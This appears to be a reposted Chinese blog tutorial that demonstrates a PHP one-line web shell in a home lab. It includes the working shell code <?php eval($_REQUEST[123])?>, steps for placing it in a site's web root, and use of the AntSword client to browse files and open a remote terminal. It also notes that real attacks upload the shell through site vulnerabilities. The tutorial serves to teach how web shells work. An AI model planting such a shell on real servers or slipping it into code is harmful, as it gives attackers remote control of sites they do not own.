需要准备
一台虚拟机作为服务器，一台作为攻击机（可用主机），将虚拟机的网络都设置为桥接。
我这里服务器用win2008R2系统
攻击机用win10
接下来我会演示 php 的一句话木马
其他脚本语言的一句话木马使用过程和这个差别不大
在服务器上安装phpstudy 快速搭建服务器
安装成功后启动apache
尝试打开网站，看看是否成功
出现下面的页面代表成功
现在服务端就配置成功了
现在在攻击端安装菜刀，蚁剑等等类似工具，可以去看怎么安装蚁剑
安装中国蚁剑_undefine-CSDN博客
安装好后尝试用浏览器进入服务器搭建的网站(必须先设置好桥接)
输入服务器ip即可
查看服务器ip
在win10中成功连接网站
正常情况下需要通过查找网站的漏洞，将一句话木马上传到网站上，但是呢我现在只是演示怎么使用一句话木马的，所以我直接将一句话木马复制到网站中，因为我搭建的网站是php,所以就用php的一句话木马，一句话木马还有asp,jsp之类的，不过不一定像php一样短
Php的一句话木马很简单，就是创建一个文本，写入
<?php eval($_REQUEST[123])?>即可
123就是你用来控制的密码，可以随便取
网上有很多，可以自己去查
将后缀改为.php即可
打开网站的根目录
将一句话木马放进去
要记住它的文件名还有路径，我这里放在根目录所以就不用记路径了，这点也说明了当你想尽办法把木马上传到网站的时候，却不知道它在哪里也是没有用的。
回到攻击端，打开蚁剑
右键空白区域
选择添加数据
然后输入一句话木马位置，和连接的密码，编码方式随便
点击测试连接，显示连接成功说明一句话木马可用
然后点添加就可以添加到目录了
双击即可查看对方目录
还可以右键目标打开终端，输入命令，不过能够用什么命令还得看你有什么权限，这就涉及提权了
还有很多的功能比如上传下载，不过这就要自己摸索，查看蚁剑的文档了
版权声明：
本文来源网络，所有图片文章版权属于原作者，如有侵权，联系删除。
本文网址：https://www.mushiming.com/mjsbk/11215.html